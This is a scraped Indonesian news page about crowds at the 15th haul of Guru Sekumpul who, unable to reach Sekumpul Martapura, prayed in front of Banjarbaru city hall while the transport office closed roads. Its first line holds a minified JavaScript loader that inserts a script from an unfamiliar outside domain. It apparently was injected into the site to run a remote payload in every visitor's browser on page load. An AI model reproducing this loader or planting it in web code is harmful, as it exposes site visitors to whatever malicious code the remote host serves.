(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HAUL GURU SEKUMPUL

Tak Tembus Sekumpul, Jemaah Haul ke-15 Guru Sekumpul Gelar Sajadah di Balaikota Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Membludaknya jamaah haul ke 15 Guru Sekumpul yang jatuh pada Minggu (1/3/2020) petang, membuat ribuan jemaah yang terlambat dan tidak dapat masuk ke kawasan Sekumpul Martapura, menggelar sajadah di depan Balaikota Banjarbaru.

Pantauan Kanalkalimantan.com di lokasi, ribuan jamaah menggelar sajadah di mana hendak memasuki waktu shalat Maghrib, sekaligus menunaikan shalat. Tentunya, ini di luar ekspektasi panitia maupun Pemko Banjarbaru.

Kepada Kanalkalimantan.com, Kepala Dishub Kota Banjarbaru Ahmad Yani Makkie mengungkapkan, pihaknya memaklumi kondisi ini, mengingat membludaknya jamaah yang menghadiri haul ke 15 Guru Sekumpul namun tidak dapat mendekat ke Sekumpul Martapura. Sehingga, jajarannya bersama relawan mengatur shaf sejadah jamaah yang berada di depan Balaikota Banjarbaru itu.

“(Akhirnya) mereka berhenti di lapangan Murjani Banjarbaru. Menjelang maghrib, para relawan di sini bersama Pemko mendirikan layar yang menayangkan keadaan di Sekumpul. Sehingga secara spontanitas menggelar sajadah mereka di depan layar lebar,” ujar Yani.

Lalu, bagaimana rekayasa lalu lintas di sekitar Lapangan Murjani? Mulanya, rekayasa lalu lintas hanya searah dari arah Jalan Panglima Batur menuju Jalan Rahayu Sungai Paring. “(Akhirnya) kami tutup sementara, hingga selesai kegiatan shalat berjamaah. Nanti kita (berlakukan sistem) buka tutup, setelah itu kita kembalikan lagi. (Karena) ini di luar ekspektasi,” jelas Yani.

Sementara, salah satu jamaah haul dari Puruk Cahu, Kalteng, Kurnaya mengatakan, ia telah berangkat sejak hari Kamis lalu dan menginap di rumah keluarganya di Jalan Belitung, Banjarmasin. Sayangnya, ia tak sempat merapat ke Sekumpul Martapura, lantaran padatnya jamaah yang berbondong-bondong datang, sehingga ia bersama keluarganya memutuskan untuk bertahan di Lapangan Murjani Banjarbaru. “Terpaksa di sini saja (Lapangan Murjani), bersama beberapa anggota keluarga,” katanya. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Share
Published by
Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

58 menit ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

4 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

4 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

8 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

9 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

10 jam ago

This website uses cookies.